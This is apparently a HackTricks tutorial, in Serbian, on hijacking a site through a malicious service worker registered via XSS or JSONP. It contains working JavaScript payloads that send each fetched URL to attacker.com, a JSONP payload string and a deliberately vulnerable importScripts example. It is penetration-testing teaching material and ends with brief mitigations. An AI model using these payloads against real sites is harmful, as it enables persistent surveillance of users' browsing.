Abusing Service Workers

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Servisni radnik je skripta koju vaš pregledač pokreće u pozadini, odvojeno od bilo koje web stranice, omogućavajući funkcije koje ne zahtevaju web stranicu ili interakciju korisnika, čime se poboljšavaju offline i pozadinske obrade. Detaljne informacije o servisnim radnicima možete pronaći ovde. Iskorišćavanjem servisnih radnika unutar ranjivog web domena, napadači mogu preuzeti kontrolu nad interakcijama žrtve sa svim stranicama unutar tog domena.

Checking for Existing Service Workers

Postojeći servisni radnici mogu se proveriti u sekciji Servisni radnici na Aplikacija tabu u Alatima za programere. Druga metoda je poseta chrome://serviceworker-internals za detaljniji pregled.

Push Notifications

Dozvole za push obaveštenja direktno utiču na sposobnost servisnog radnika da komunicira sa serverom bez direktne interakcije korisnika. Ako su dozvole odbijene, to ograničava potencijal servisnog radnika da predstavlja kontinuiranu pretnju. S druge strane, davanje dozvola povećava bezbednosne rizike omogućavanjem prijema i izvršavanja potencijalnih eksploatacija.

Attack Creating a Service Worker

Da biste iskoristili ovu ranjivost, potrebno je da pronađete:

  • Način da otpremite proizvoljne JS datoteke na server i XSS za učitavanje servisnog radnika otpremljene JS datoteke

  • Ranjivu JSONP zahtev gde možete manipulisati izlazom (sa proizvoljnim JS kodom) i XSS da učitate JSONP sa payload-om koji će učitati zlonamernog servisnog radnika.

U sledećem primeru ću predstaviti kod za registraciju novog servisnog radnika koji će slušati fetch događaj i slati napadačevom serveru svaku preuzetu URL adresu (ovo je kod koji biste trebali otpremiti na server ili učitati putem ranjivog JSONP odgovora):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

I ovo je kod koji će registrovati radnika (kod koji biste trebali moći da izvršite zloupotrebom XSS). U ovom slučaju, GET zahtev će biti poslat na server napadača obaveštavajući da li je registracija servisnog radnika bila uspešna ili ne:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

U slučaju zloupotrebe ranjivog JSONP krajnjeg tačke, trebali biste staviti vrednost unutar var sw. Na primer:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Postoji C2 posvećen iskorišćavanju Service Workers pod nazivom Shadow Workers koji će biti veoma koristan za zloupotrebu ovih ranjivosti.

Direktiva keširanja od 24 sata ograničava život malignog ili kompromitovanog service worker-a (SW) na najviše 24 sata nakon ispravke XSS ranjivosti, pod pretpostavkom online statusa klijenta. Da bi se smanjila ranjivost, operateri sajtova mogu smanjiti Time-To-Live (TTL) SW skripte. Takođe, programerima se savetuje da kreiraju service worker kill-switch za brzu deaktivaciju.

Zloupotreba importScripts u SW putem DOM Clobbering-a

Funkcija importScripts pozvana iz Service Worker-a može importovati skriptu iz druge domene. Ako se ova funkcija pozove koristeći parametar koji bi napadač mogao da izmeni, on bi mogao da importuje JS skriptu iz svoje domene i dobije XSS.

Ovo čak zaobilazi CSP zaštite.

Primer ranjivog koda:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Sa DOM Clobbering

Za više informacija o tome šta je DOM Clobbering pogledajte:

Dom Clobbering

Ako je URL/domen koji SW koristi za pozivanje importScripts unutar HTML elementa, moguće je modifikovati ga putem DOM Clobbering da SW učita skriptu sa vašeg domena.

Za primer ovog, pogledajte referentnu vezu.

Reference

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated